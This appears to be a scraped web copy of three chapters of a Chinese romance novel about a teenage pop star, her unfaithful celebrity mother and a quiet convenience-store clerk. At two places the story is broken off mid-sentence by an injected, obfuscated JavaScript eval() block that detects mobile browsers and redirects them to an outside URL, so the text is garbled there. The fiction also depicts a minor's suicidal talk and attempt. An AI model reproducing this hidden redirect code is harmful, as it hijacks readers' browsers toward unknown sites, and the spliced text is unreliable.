《奇袭流星[校园+娱乐圈]》 1. Chapter 1 八月中旬的上都,夜生活才刚刚开始。 闻栩从杂志拍摄现场脱身时,连妆都来不及卸。闪光灯的余韵还在视网膜上残留,粉丝们举着灯牌守在大门前,她弯腰钻进保姆车,从后门悄然离开。车子汇入晚高峰的车流,被喧嚣裹挟着一路向东,驶向海边那栋她称之为“家”的房子。 高档小区的安保隔绝了外界所有的声响。闻栩站在别墅门前,抬手扫过门禁,幽蓝的光投进她黯淡的瞳孔。指纹识别成功,锁开了。 门打开的瞬间,屋内的黑暗如潮水般涌出。唯一的光源来自她身后,越过她单薄的身体,毫无保留地铺进室内。 闻栩停在门槛上,没有迈步。 只是一个垂眼,她就看见了——玄关的鞋架上,多了一双陌生的男鞋。限量版,某个运动品牌的最新款。不久前,这个品牌刚官宣了新的全球代言人,第二天,那位男明星就送了她一双定制款,鞋带上绣着两只粉色的兔子,竖着耳朵,是她会喜欢的那种可爱。 此刻,那双鞋就静静地躺在那里,像一声无声的宣判。 呼吸在瞬间变得稀薄。闻栩攥紧门把手,指节泛白。大脑在一天的疲惫工作后突然坠入真空,无法思考,不敢深想。 手心沁出薄汗。她关上门,任由双腿机械地迈动,走过客厅,踏上楼梯,最后停在走廊尽头的卧室门前。 门虚掩着。 从门缝望进去,一路散落的衣物刺目惊心——男人的衬衫、女人的裙袜,纠缠在一起的还有那件她熟悉的白色纯棉T恤。红酒泼洒在地毯上,洇成暗红色的渍。 闻栩的目光被迫向上,越过那一片狼藉,落在窗前。 月光破窗而入,白纱窗帘随风轻扬。柔软的大床上,两抹光洁的身影交缠在一起。摇晃,沉沦,喘息,娇吟。满室旖旎,醉生梦死。 没有人注意到角落里的手机在震动。 闻栩僵在门外。 喉咙像被扼住,心跳仿佛暂停,呼吸早已忘却。所有的感官都被撕扯着,逼着她往悬崖边上走。 好巧不巧,今天是她的十八岁生日。 耳机里,爸爸的声音亲切而温和:“宝贝,找到妈妈了吗?她怎么不接电话?” * “小秦姬?” 第十三次被抓到走神,声乐老师终于放弃了纵容。她放下琴谱,看向坐在窗边高脚椅上的少女。 下午的阳光透过百叶窗,在闻栩身上投下一道道光影。她抱着吉他,眼神没有焦点,像一尊精致的瓷偶。 “今天总是一副心不在焉的样子,” 老师叹了口气,“如果是专业上的问题,可以跟老师说。” 闻栩慢半拍地回过神,摇摇头。 老师拿她没办法,只好作罢:“那今天的课就到这里。回去多练习,保护好嗓子。顺便替老师向你爸妈问好。” 闻栩应了一声,抱起吉他,默不作声地往外走。 下午四点,三小时的声乐课结束。培训室在十八楼,整层都是盛行娱乐给歌手和爱豆准备的练习室。纯白色的走廊,米色的地砖,墙上挂着公司前辈的照片——那些在娱乐圈混得风生水起的名字,是无数练习生的梦想。 闻栩走到一半,看见前方有三个女生聚在墙根聊天。应该是新来的练习生,年纪和她相仿。 她放慢脚步,摘下耳机,靠在墙角。 “我都进公司两个月了,一次都没见到秦前辈。更别说闻大男神了,真想找他们要签名。” “谁不想?我们进来不就是希望自己能成为第二个秦姬吗?” “第二个秦姬?别想了。小秦姬你不知道啊?人家出道两年,微博都千万粉丝了。跟她抢名号,不怕她粉丝撕了你?” “啊对,我总忘她有个女儿。” “是秦姬的亲生女儿,小秦姬这头衔给她,名正言顺。听说她今天下午就在隔壁教室练声乐呢。” “听见了,又唱又弹的,还有顶尖的专业老师教。好羡慕啊——你说人要走运到什么程度,才能投胎成小秦姬?妈妈是世界级音乐人,爸爸是影帝。一出生就自带颜值和天赋加成,后天吃喝不愁,要啥有啥。现在不努力就比我们早出道,还红得发紫。以后要是真努力,那还得了?” “乐园,你这位大小姐就不用以德报怨了吧。” “大小姐怎么了,大小姐不能追梦了?” “哎,也是,我们还是顾好自己吧,别说早两年出道了,要是下面的part,乐园你再跳错的话,估计离出道就遥遥无期了呢。” 几个人热热闹闹地聊着,散场时却都有些落寞。 走廊重归安静,只剩下各个练习室传来的音乐声。 闻栩站在原地,腿都有些麻了。她抬头,看向墙上并排挂着的两张照片。 外界都说这是郎才女貌,天生一对。 可她看了这么多年,始终看不出半点“一对”的样子。 一抬手,她把两个相框一起扯了下来。 玻璃砸在地上,碎成无数晶莹的碎片。一片碎渣弹起来,划过她的小腿,鲜血瞬间涌出。 闻栩像感觉不到疼似的,背着吉他,踩着玻璃渣下的照片,一步步走远。 工作人员姗姗来迟,只看见瓷砖上被脚印涂抹开的鲜血。新鲜的,脏劣的。 他们看不见肇事者的肮脏。 只有闻栩自己知道。 * “小秦姬!又来上课啊?” “又漂亮了,这脸快赶上你妈了。” “小秦姬,替我问问你妈,上次送她那套珠宝喜欢吗?喜欢的话,让闻哥参演那事……” 从电梯下到一楼,大厅里遇见的人络绎不绝。 闻栩早已麻木,敷衍地应付着。此刻最让她心烦的,是手机从下课后就一直响个不停。不用看也知道,是她那位好母亲。 她不想接,但那动静不依不饶。 直到出了公司大门,秦姬直接弹了视频过来。 闻栩掐掉。 对面不死心,打给了她的司机廖平。 今年夏天格外热,气象台一早就发布了高温红色预警。闻栩站在太阳底下,被晒得心烦意乱。刺眼的阳光从西边投来,她眯着眼,看见廖平一边拉开车门,一边递过手机。 “你妈的电话。” 闻栩:“……” 附近有粉丝在拍照。换做别人,她早把手机扔了。可廖平当了十几年她的专车司机,看着她长大,是真正的“自己人”。 她接过手机,闭上眼,把烦躁吞了下去。 “什么事?” “到哪儿了?”女人的声音懒洋洋的,像在撒娇。 单论音色,确实好听。 闻栩的声音随她,因为年轻,更细腻柔软些。 “刚出公司。” “好,等下记得来趟妈妈的工作室。” 闻栩心脏一提,预感不妙。 “帮我带两盒套回来。” “……什么?” 闻栩怀疑自己听错了。她避开廖平和偷拍的镜头,走到喷泉池边。 少女站在阳光下,肩上背着大大的吉他,长卷发及腰,被风吹起。周围的人群举起手机,按下无数快门。 闻栩捂住听筒,咬牙切齿地低声问:“买什么?” “避孕套啊——”秦姬的声音轻浮随意,毫无顾忌,“避——孕——” 啪! 闻栩把电话掐了。 站在能把人晒化的太阳底下,她对着手机,低声骂了一句:“神经病!” * 半小时后。 闻栩认命地走进一家24小时便利店。 这家叫“买兜”的便利店离市中心很远,距离公司有十几公里。选在这里,无非是因为远离她的活动范围,被认出来的概率小。 廖平说,过了红绿灯再走五公里,就是他女儿廖绒绒读的市重点高中。那所学校出来的学生,比她就读的贵族高中要真材实料得多。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481865|201791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 廖绒绒本人也多次强调,他们学校不仅有学霸,还有年级第一的超级大帅哥。 闻栩不以为意。她只关心这里够远,够安全。 店里只有店长大叔一个人。她在货架区转了一圈,拿了两袋大白兔奶糖和一瓶玻璃罐酸奶做掩护,才磨蹭着挪到收银台。 进门时就留意过的东西就在手边的货架上,和口香糖摆在一起。花花绿绿的盒子,什么牌子都有。秦姬要常用的那款——可她哪里知道母亲平时用哪款? 闻栩内心挣扎着,兔耳鸭舌帽下的大眼睛往那边偷瞄了好几眼。羞耻心爆棚,让她迟迟不敢伸手。 店长大叔已经扫到第三件商品了,马上就要扫她的码。再不拿,额外结账只会更奇怪。 心一横,她随便捏了个盒子扔在收银台上。 包装盒太滑,蹭着桌面甩到里侧边缘,险些掉下去。 闻栩的心都提了起来。 老板正要伸手,店门口的风铃响了。有人走进来,低沉的声音混在清脆的铃声中,平稳又沉静。 “老板。” 男生从她背后经过,声音被空调的凉气压到耳边。 闻栩一愣。 “习颂,来了啊。” 老板抬臂看了眼时间,“那你接班吧。我得走了,孩子还在兴趣班等着接。” “嗯。” 那人应了一声,在闻栩余光里走到收银台边,取下墙上的马甲套上。手臂抬起的瞬间,衣角上扬,露出一小截精瘦的腰线,白得晃眼。 闻栩一门心思都在那盒“脏物”上,躲藏在帽檐下的眼睛一个劲儿偷瞄。瞥见那一抹白,耳朵腾地红了。 叫习颂的少年穿好衣服,绕过挡板走进收银台。经过她身边时,步伐渐慢。 闻栩揪着心,眼睁睁看着那盒脏物孤零零躺在柜台边角。包装上的字明晃晃的,黄得令人发指。 黄到让那个男生伸出的手,在距离它毫米之处,顷刻停住—— 下一秒,闻栩看见那只骨节分明的手曲起食指,将盒子推到她面前一寸处停下。 修长匀称的中指在包装袋上轻点了一下。 “要?” 闻栩:“……” 四周无风。空调二十五度制冷,将空气凝滞成冰。 闻栩被尴尬围追堵截,脑子“嗡”地炸开。羞敛无处遁形,她下意识后退,腿一软趔趄,猛地抬头—— 兔耳鸭舌帽下,那张漂亮的脸上红得不清不楚。本该明亮的眼睛此刻慌乱不堪,偏偏与少年自然垂落的视线撞个正着。 她出公司后就一直戴着口罩。尽管如此,还是在面面相觑时下意识捂住脸。绷紧的神经扯动,大脑一片空白。 “什……什么?” 她干巴巴地问,“要什么?” 无措显而易见。过度慌不择路,连装傻都透着人畜无害。 时间静滞了两秒。 习颂沉默地将视线从她脸上移开,缓缓向下,落在柜台以下某处。深黑的瞳眸原本剔透纯净,忽地混入星点鲜红。 在闻栩持续的紧张里,他重新看回她唯一露出的眼睛,淡声询问:“你需要创可贴吗?” 闻栩:“……” 那一秒,呼吸被遗忘。恐惧和羞耻连同那盒赃物一起,被扫码、支付、打包。 习颂全不在意地将包装袋递到她手中—— “店内优惠,满五十送五元小礼品。”他从柜台走出来,到货架上拿了一盒东西,递到她面前。 “我想你现在需要这个。” 闻栩看清了——那是一盒创可贴。 不仅如此,他还穿着一件再简单不过的白色T恤。 闻栩:“……” 那一瞬间,被夏天炙烤的心脏突然滚烫。像一颗躁动的火球砸破冰层,掉进平静深海—— 刺啦一声。 最终,归于宁寂。 “谢谢。” 闻栩摘下口罩,冲眼前的少年轻轻笑了一下。 2. Chapter 2 闻栩在八岁那年曾发高烧烧到四十度,盐水挂着,退烧针打着,体温仍旧顽固着,死活下不去,差一点就从小秦姬变成死小秦姬。 那时候闻鹤津来到了秦姬的工作室找逃出来的闻栩,找到之后,挨打是免不了的,责罚也是。 他当着秦姬的面拖走了痛到几近昏迷的闻栩。 而秦姬为了明哲保身,始终无动于衷,曼妙的身影站在门前,而门的背后,藏着她不可告人的新欢或者旧爱。 闻栩全都知道,但也不会多说一个字,她开智比其他的孩子要早。 记事起,她就明白自己是多么的见不得人,而她的母亲又是因她过得不幸福才会有了后续的一个又一个陌生人。 闻栩其实不愿过度回忆,有的时候也会莫名的忘记很多。 是真的忘记。 某一天早上起床,她甚至不明白闻鹤津出差一个月,秦姬身上总是有新的吻痕,直到窥见她的母亲故意为之的画面。 她没有伸手,没有挽留,甚至没有多看闻栩一眼。 八岁的闻栩在父亲的怀抱里,透过模糊的视线看见母亲站在光亮与黑暗的交界处,像一尊精美的雕塑,无动于衷。 从那天起,闻栩就明白——她欠秦姬的。 不是因为秦姬生了她,而是因为只要她存在,秦姬就不会幸福。 不幸福的人有权利寻找自己的幸福,即使那意味着一次又一次的背叛。 这是她们心照不宣的约定。 * 此刻,闻栩站在秦姬工作室三楼的门口,再次目睹了熟悉的场景。 一个星期前,她十八岁生日的当晚,她的母亲也是这样,像着了魔似的从匍匐在上方的人身上疯狂地索取着什么。 那时,那个人不是她的爸爸。 现在,压着秦姬的人也不是,更不是上周那位。 秦姬已经无所顾忌。放荡的动作沾污了她还未做完的曲谱,她和一个新的男人交互着近乎饥饿的吻。 乐谱散落一地,被揉皱,被踩踏。 闻栩看着那些纸页,只觉得熟悉,那个人写给秦姬的定情之作,她的母亲始终不曾忘却。 “妈妈……” 如果说第一次撞见后的心情是无措和不敢置信,那么现在,数不清第几次之后,剩下的只有冷漠。 极致的冷漠。 闻鹤津还什么都不知道。 但闻栩比他先一步感受到了来自秦姬的背叛——或者说,她早就知道了,从八岁那年开始就知道了。 不远处的女人抬起头,向她的方向投来迷乱的视线。凌乱发丝下那张美艳的脸陷入情欲里,红潮未退。红的又不止她的脸。 “我的宝贝女儿,”秦姬的声音一贯懒散,带着事后的沙哑,“又被你看见了啊。” 闻栩沉默。 “可那又怎么样呢?” 秦姬推开身上的人,随手扯过一件睡袍披上。她赤脚走过来,每一步都摇曳生姿。走到闻栩面前,她伸手抬起女儿的下巴,迫使她与自己对视。 那双眼睛和闻栩很像,漂亮,深邃,此刻却盛满了闻栩看不懂的东西。 “你八岁那年,我们不是说好了吗?” 秦姬的声音轻得像在哄小孩,“小秦姬要站在妈妈这边,帮妈妈保密。只有这样,你才是妈妈的好女儿。” 她凑近闻栩的耳边,气息温热,说出的话却冰冷刺骨: “毕竟,你欠我的可太多了。” 闻栩僵在原地。 那一瞬间,鼓囊在胸口的闷气被什么东西划开一道口子。底气在第一时间逃逸,四散无踪。 她想起来了。 什么都想起来了。 那些她以为忘记的,那些秦姬以为她不知道的——统统都想起来了。 是啊,说好了的。 她今天也有好好的听话。那两盒避孕套上沾着她的指纹,被她买回来,又被秦姬的新欢带着,此刻正用在那张床上。 原来是这么用的。 秦姬花了多久谋划这一切?一步步将她拉进早就设好的陷阱里。等她想要抽身,才发现身体早已僵硬,无法动弹,更无力反抗。 腿一软,闻栩摔在地上。 呼吸不畅,睁眼闭眼间,那些不堪的画面历历在目。惶恐和害怕像潮水般涌来,她蜷缩起来,抱住头,浑身颤抖。 膝盖上的伤口被牵动,创可贴的边缘微微翘起。 那是习颂亲自帮她贴上去的。 创可贴还带着浅浅的温度,像是从那个下午穿越而来。白色的,简单的,和那个人一样。 闻栩盯着它看了很久。 然后瞥见洒落在地上的白色衣物——男人的衬衫,秦姬的裙摆,纠缠在一起,像一场无声的嘲讽。 基因里带出来的罪恶和肮脏,在这一刻无处遁形。 * 闻栩不知道自己在地上坐了多久,也不知道自己是怎么站起来的。 意识清醒时,已经是第二天,她的膝盖多了些青紫的痕迹。 她坐在一辆高奢的跑车里,步洄游在驾驶位单手把着方向盘,在她眼前打了三个响指,才把她的神强行拽回来。 “最近还有定期去医院复查吗?药按时吃了?” 闻栩有严重的双向情感障碍,病情一直不稳定。几乎每次见面,步洄游都会问上一句。 当事人却讳疾忌医,逃避得彻底:“我和你没什么好说的。能先停个车吗?” “开太快了?晕车?”步洄游放慢车速。 “不是。” 一想到前些天某人新交的女朋友让她“自觉点和别人的男朋友保持距离”,闻栩就觉得脸火辣辣地疼。连现在坐着的副驾驶都烫得烧屁股。 “我想去后面坐。” 步洄游嗤笑一声:“你看清楚,我不是廖叔。” “那我也不是你女朋友。” 步洄游琢磨出意思了。他扫了眼导航,靠边停车,解开安全带侧过身。车里光线明暗不清,那张带着混血意味的精致脸庞侵略性地靠过来,双眼皮的痕迹深深印下,整个人又痞又拽。 “放心,我现在单身。”他勾了勾嘴角,“安心的坐着吧,Vibby。这个位置,现在没人和你抢了。” 闻栩:“?” 显然,步洄游和交往两天不到的新对象又分手了。 闻栩不爱背锅:“不要说得你是因为我分的手。” “说不准呢。” 步洄游玩起她的卷发,眉眼和薄唇贴得更近,“你当初总是以没成年为借口拒绝我。现在呢,又是什么理由?你为什么不能真的跟我试试?恋爱体验这方面,我肯定不会让你失望的。” “因为你谈得多?” “因为我最喜欢你。” 闻栩:“……” 步洄游很擅长撩拨。那张明星脸,很少有女生会拒绝。仗着比她大四岁,成年的早四年,身边从来不缺女孩。在感情方面,他一向随意。 圈内圈外很多女生都曾通过闻栩去接近步洄游。而闻栩作为他的乐队搭档,抱着“兔子不吃窝边草”的想法,偏偏对他没什么兴趣。 步洄游再怎么骚,闻栩都像瞎子一样,看都不看他。她转头看向窗外,吹风透气。 “你不是我喜欢的那种类型。” “那你喜欢哪种?” 好友几年,步洄游还真没见过闻栩对哪个异性表示过好感。主动凑上来的都被他有意识无意识地打发掉了。现在话说到这份上,他干脆揣测起来: “该不会你和秦阿姨一样,喜欢闻叔叔那种霸道类型的吧?” 闻栩默不作声。 眼神里划过的异样转瞬即逝,步洄游没有注意到。他仍旧保持着两人之间微妙的距离,指腹划过她无瑕的脸颊,滚了滚喉结,揣摩着她的心思。 “不高兴了?” 他想起昨天去秦姬工作室接闻栩彩排时的情景。小姑娘没在屋里待着,而是坐在大门外的石球上吹风。路灯昏黄,孤零零的身影。头上的鸭舌帽歪扣着,兔耳朵垂下来,像被抽走了灵魂。 他走到她面前,闻栩抬头问他:“你是谁?” 那眼神,是真的不认识他。 步洄游心里咯噔一下。 他认识闻栩四年了。 四年前,步家为他举办回国宴,当时十四岁的闻栩跟在闻鹤津身后,蜷缩在男人的影子里,不理会任何人。他以为她是认生,主动带她四处走走。 他们来到后花园,工人在植物上绑了一条条小灯。一到晚上,灯光在树叶里盛放,红的白的,说不上好看,但足够亮——亮到他看清了闻栩的脸。 小小的一张脸,全是精致的五官。 他在国外生活多年,美丽的女孩见过不少。但见到闻栩,他还是忍不住被惊艳到。闻鹤津和秦姬两大神颜的结合,在闻栩身上最大化。他忍不住一直盯着她看,心跳比往常都快。 闻栩别开眼,扫过周围的花草,忽然开口:“伸手抓住这些线,会不会触电?” “什么?” “他们缠住我的脖子,”她指着缠绕在树干之间的小灯,“能支撑我的体重吗?” “你为什么问这些?” 闻栩笑了。是很好看的笑,但说出的话却阴森可怖: “我想死啊。你要帮我吗?” 步洄游当然没有帮她。 于是,就在那个晚上,闻栩跳进了注满水的泳池。没有犹豫,没有挣扎,就在他面前,证实了她想死的决心。 步洄游救了她。 为了这件事,闻栩记恨到现在。 长大成人这件事一直让闻栩不开心,在她身边的步洄游一直饱受连累。但他无能为力,只能这样陪着她,一年又一年。 车里安静了几秒。 闻栩忽然开口:“白色T恤,黑色长裤,高高瘦瘦,长相干净,不爱说话,对人温柔。” “什么意思?” “兴许,”她淡淡道,“我喜欢那种男生。” 步洄游愣住了。 答案来得太快,太突然。 闻栩沉寂的表情又不像是未经思考的敷衍之词。他一瞬间怀疑,在他不曾陪同的时间里,闻栩真的遇到了那个会让她心跳加速的人。 风从窗外吹进来,带着凉意。 “要下雨了吗?”闻栩看向天空。 她转移话题,步洄游识趣地没有追问。他坐回去,手支在车窗边,撑着头打了个哈欠:“白天那么热,晚上肯定有一场大暴雨。” “我上次落你车上的伞呢?” 步洄游从后座拿出一把小粉伞。这把伞跟了闻栩两年了,他每换一次车,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481866|201791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的伞必定落下。这回他很自觉,早早把伞放到了新车上,随身带着。 闻栩拿了伞就跑下车。 步洄游的车停在老城区和新城区的交界处。这里离市中心有些距离,平日里她几乎不会来。是偶然一次被步洄游带出来兜风,闻栩意外发现的“新地图”。 下了车,眼前是各种各样的小摊贩。这一块交警管得松,从早到晚都有人摆摊。特别是晚上,商贩更多,密密麻麻排在路口,一个比一个挤。 闻栩在一片烟火气里走到一个小角落,跟摊位前的老奶奶热情打招呼: “奶奶,我又来了!今天买什么好呢?” 老奶奶笑起来:“买发饰,手环。小美女你看看,有没有喜欢的。” “奶奶,我叫闻栩。” 这已经是一个月里第五次来了。老人家还是没记住她,每次都只是跟着她的发音含糊地喊几声,是又似乎不像。但闻栩很高兴。 这个奶奶卖的是纯手工编织的毛线制品。闻栩收到的第一份十八岁生日礼物,就是在奶奶这里拿的一对兔耳——也就是她最近总戴在鸭舌帽上的那一对。 她真的很喜欢,就给按在了帽子上。黑色的鸭舌帽,粉色的毛线兔耳。步洄游说不伦不类,没有人会在上万的帽子上按个不值钱的东西。 她偏偏跟他反着来,买了之后就一直带在身边。 闻栩挑选的时候,奶奶在一边说:“今天应该是最后一次摆摊了。看上什么,奶奶就送你了。” 想到以后买不到漂亮的首饰,闻栩有点失落:“奶奶以后不来了吗?” 老人家叹气,语气里透着无奈:“出来干点小本买卖,哪晓得被我家小兔崽子抓到了。回去就跟我生了一场很大的闷气。他本来就话少,现在三天里都不见得搭理我一下。我这也只能收摊了。” 闻栩帮腔道:“啊?他好幼稚,怎么还冷暴力啊。” 奶奶连忙摆手:“不不不,他没打我。” 闻栩被逗笑了:“不是啦,冷暴力不是真的动手打人。是说他把气憋心里,不搭理人。” “哦,原来是这个意思。”老人家松了一口气。见闻栩眉眼和唇角都挂着笑,心里也多了份踏实。 闻栩一向有选择困难症。今□□品里有很多兔子元素的东西,尤其是一个十厘米的粉色兔子挂件和一个粉色兔子发卡。她一眼相中,打心底喜欢,已经开始盘算挂件是挂在书包上还是琴箱上。发卡已经被她别到了头发上。 奶奶猜到她的偏好,顺口说:“这两个都是我家兔崽子做的。” “真可爱!”闻栩眼睛亮了,“我最喜欢这两个啦。” 她拿出手机,又看了眼地上别的:“其他的嘛,我也要了。” “都要?”老人家惊讶。 “嗯。” 闻栩没有白拿。她按单价付了全款,进账消息提醒响起——算都不用算,至少多给了一倍。老人家很是吃惊,回过神来,闻栩已经拽着步洄游把买的东西都带走了。 闻栩让步洄游先回车上,抬头看了眼天色。月亮藏在厚重的云层里消失不见,风也大了起来。 她赶紧将手里的伞递过去:“看起来快下雨了。奶奶,您赶紧回家吧,不然小心您家兔崽子又要冷暴力了哦!” 她一连串的热心打断了老人家想要归还多出钱款的念头。老人抬头看天,还真是要下雨了。 “那这伞?” “就当是你和我的信物吧。”闻栩哄着人,“您带回家。如果您家兔崽子还冷暴力的话,您撑着这把伞来找我。不瞒您说,我对付不爱说话还爱冷暴力的兔崽子最有一套了。” 奶奶被哄得眉开眼笑,还钱的心思抛到了九霄云外。 “Vibby,走了。” 天上缓缓飘下雨丝。步洄游坐在车里神色不耐,按了好几下喇叭。 闻栩给老人家撑开伞,同她告别,然后一路小跑回车里。 雨势逐渐密了起来。其他商贩和行人都感受到了潮湿,热闹的街巷瞬间混乱——收摊的收摊,快跑的快跑。 在嘈杂的动静里,闻栩想着要不要载老人一程。步洄游已经拧着眉点了火。 “安全带。” 车窗外是一片黑压压的人群。闻栩系上安全带,忽然瞥见一道熟悉的身影。 同时,专属于那个人的低沉声色,乘着今晚的雨气,赶在车窗完全关闭的最后一刻钻了进来—— “奶奶。” 闻栩心神一动,攥着安全带的手倏地松开。她立马侧过身,趴在车窗上向外张望。 “没见过下雨啊?” 步洄游强行把她掰回来,系好安全带,猛踩油门。车利落地窜了出去,很快,原地腾出的一片区域也被雨丝覆盖。 那个好不容易重新捕捉到的人影,从后视镜里一闪而过,再也不见。 闻栩只看到远处的超市广告牌屹立在公交站台边。她这才恍然——原来昨天下午就已经来过一趟了。 不知为何,心潮久久不能平静。 一股莫名的失落掺杂在热浪里,从胸腔源源不断涌上来。 闻栩低下头。 眼底再度映入小腿上的创可贴。 白色的,简单的。 边缘已经微微翘起,像是快要脱落,却还固执地贴着。 像是在挽留她。 3. Chapter 3 八月的最后一个星期,上都在一场持续了七天的大雨后,终于放晴。 阳光像憋久了的眼泪,一次性倾泻而下。气温直冲三十八度,气象台再次发布高温预警。空气里的水分被迅速抽干,柏油马路蒸腾起肉眼可见的热浪,整个城市像一座巨大的温室。 闻栩窝在空调房里,百无聊赖地玩着音游。 手指在屏幕上机械地滑动,眼睛盯着跳跃的音符,脑子里却是另一个人。 习颂。 这个名字像一枚种子,在她心里生了根。 这些天,除却排练,空挡的时间里总会想起他。便利店的画面像电影情节,一遍又一遍地在脑海上映。 她记得自己当时有多窘迫。 那盒该死的避孕套躺在柜台上,包装上的字明晃晃的,黄得令人发指。她恨不得找个地缝钻进去,可那个男生只是平静地看着她,目光干净得像一汪清水。 然后他问她:“你需要创可贴吗?” 她也不知道哪来的勇气,鬼使神差地问了一句:“可以帮我贴一下吗?” 习颂没有说话,只是看了她一眼,转身回到了柜台内。 闻栩以为他被自己吓到了。 也是,哪个正常人会答应这种莫名其妙的请求?可几秒钟后,习颂走了回来,手里多了一瓶双氧水和一瓶碘伏。 “先消个毒吧。” 他真的给她贴上了创可贴。动作很轻,指腹隔着棉签,小心翼翼地按压边缘。那个时候她故意往前凑了凑,擦过他的肩颈,闻到他身上有一股干净清新的味道。 像雨后青草,像晒过的棉被。 闻栩越想越在意。 步洄游发消息来提醒她准时吃药,她回了个“知道了”,转头就给廖平发了消息:备车。 * 路程接近一小时。 到了目的地后,闻栩考虑到现在是大白天,不比傍晚和夜晚,还是谨慎地戴上口罩和鸭舌帽才敢下车。 那家叫“买兜”的便利店还是老样子。玻璃门上贴着打折海报,风铃在推门时发出清脆的声响。店里有两三个人扎堆结账,闻栩最先留意到收银台前站着的是上次的店长大叔。 不是习颂。 她在心里小小地失落了一下。 货架区转了一圈,仍未发现那个男生的身影。闻栩顺手拿了两包大白兔奶糖和一瓶进口玻璃罐酸奶,走到收银台排队。 前面两个女生结账时,忸怩地问着“习颂今天在不在”。闻栩竖起耳朵,听到老板说习颂今天不上班。 满满的失落感涌上心头。 轮到她结账时,老板似乎察觉到了什么,笑了笑:“你也是找习颂的?” 闻栩点头,口罩上方露出一双漂亮的眼睛:“请问他什么时候上班?” “保密哦。”店长大叔嘿嘿一笑,眼睛里闪着狡黠的光,“你多来几次,总能遇上。” 闻栩:“……” 多来几次,就多几次消费。老板果然会做生意。 恰巧闻栩不缺钱,但她唯独缺少时间。个人通告和乐队排练排得满满当当,能挤出这一趟已经是极限。她在车里等了三个小时,直到天黑,习颂始终没有出现。 步洄游催她排练的电话打过来时,闻栩望着便利店明亮的灯光,轻轻叹了口气。 她宽慰自己,这只是心血来潮的冲动,并不是真的在乎习颂。尽管他的行为、他的长相,足以让人留下深刻印象——很多年了,她第一次见到有人的气质与那个人相像至此。 “你想跟他发生些什么吗?”廖平从后视镜里看了她一眼,随口问道。 闻栩被问住了。 她不知道。 * 接下去几天的行程拉满。闻栩计划等乐队演出结束后再去找习颂。 变故发生了。 发生得太快。 快到当她发现时,习颂已经上了一辆公交车。等她跑到站台,那辆车已经开走了。 习颂来市中心了。还出现在盛行娱乐附近。 多好的一次偶遇,她没有把握住。 背后不远处,盛行大楼的户外大屏上正播放着粉丝为她投递的个人应援视频。 今天是第一天运行。粉丝们站在各个角度,将她留在手机里。屏幕上的她笑容灿烂,像一颗冉冉升起的新星。 闻栩混迹在人流里,低下头,无声无息。 小腿上贴着新换的创可贴,白色的,边缘已经有些卷起。她盯着它看了很久,久到周围的人流换了一波又一波。 如果这次能遇见,她想再次道谢。趁机请他吃一顿饭,闲聊几句好知道他的个人信息,是不是知道自己的身份,还有—— 还有那些强制性的记忆,在她的脑海里到处乱窜。 提醒着她过去和现在,每分每秒经历的那些寻常却又分外难受的时刻。对人,对事,都是如此。 “你想跟他发生些什么?” “仅仅如此吗?” 闻栩不知道。但她清晰地意识到,她会为了习颂而冲动,这件事本身便是稀有的。 还偏偏是在站台。 秦姬从前送那个人离开时,也是这样猝不及防吗? 同今天比,十几年前的那个夜晚并不凑巧。是个大暴雨的天气,秦姬追着车跑了不到一百米就摔倒在地。 闻鹤津找了过来,听着她为前任的离开痛苦得撕心裂肺,为她撑伞,抱她上车,送她去了医院。 规培生为秦姬处理膝盖上的伤口时,门诊医生走进了清创室,当着她和闻鹤津的面说:“恭喜二位,你们即将在九个月后迎来一个新的生命。” 闻栩想起这段被秦姬反复提起的故事,还是忍不住冷笑。 笑过之后,那些被关押的想法逐渐清晰起来。待到彻底明了时,闻栩重新抬起头,看向公交车离开的方向。 眼底不再平静,也并不忧伤。 习颂是个很好的选择。 闻栩从前没有想过任何人。但眼下,她只是想和习颂试一试。 变成一个坏女孩会怎么样呢? 秦姬做不到的事情,如果她做到了,是不是就能证明她们之间还是不一样的? 即便,她真的成为一个坏女孩。 * 演出正式开始前的两个星期,闻栩照常跑通告、乐队排练。 中途,闻鹤津给她打了一次电话,嘱托她去珠宝店取他为秦姬准备的惊喜礼物。闻栩没有拖延,当天就拿着高奢包装盒去了秦姬的工作室。 工作室在市中心一栋老洋房里,三层小楼,闹中取静。闻栩推门进去时,一楼没有人。她径直上了三楼。 秦姬不在。 三楼的沙发上却坐着一个男人。 二十出头的样子,长相周正,带着点艺术院校特有的慵懒气质。他靠在沙发上敲着电脑,键盘声密集而急促。从闻栩进屋到关门,那声音一刻都没有停过。 听着那密集的声响,闻栩没来由地心烦意乱。 她把包装盒放在显眼处,径直走到沙发旁,一把将男人的电脑掀到一边。 屏幕黑了。不知道坏没坏,文件有没有保存。 男人抬起头,不恼反笑。他的目光在闻栩脸上停留了几秒,带着某种打量的意味。 “小秦姬也这么粗鲁?” 闻栩站在他面前,低眉看他,眼里全是不待见:“你觉得我妈粗鲁,为什么要跟她做那种事?” “有没有可能,” 男人慢悠悠地说,“我们说的粗鲁不是一个意思?” 闻栩强迫自己不去回想那些画面,把话说完:“你喜欢我妈什么?美貌,金钱,还是她能给你的地位?” 她偷拍过他,调查过。眼前这位叫柏润森,上都电影学院大三学生,过完八月开学就大四了。这个节骨眼,差不多实习开始两个月了。 柏润森靠在沙发上,仰头说话有些累,干脆换了个舒服的姿势,撑着脖子。锁骨下方的吻痕若隐若现,像一枚鲜红的印章。 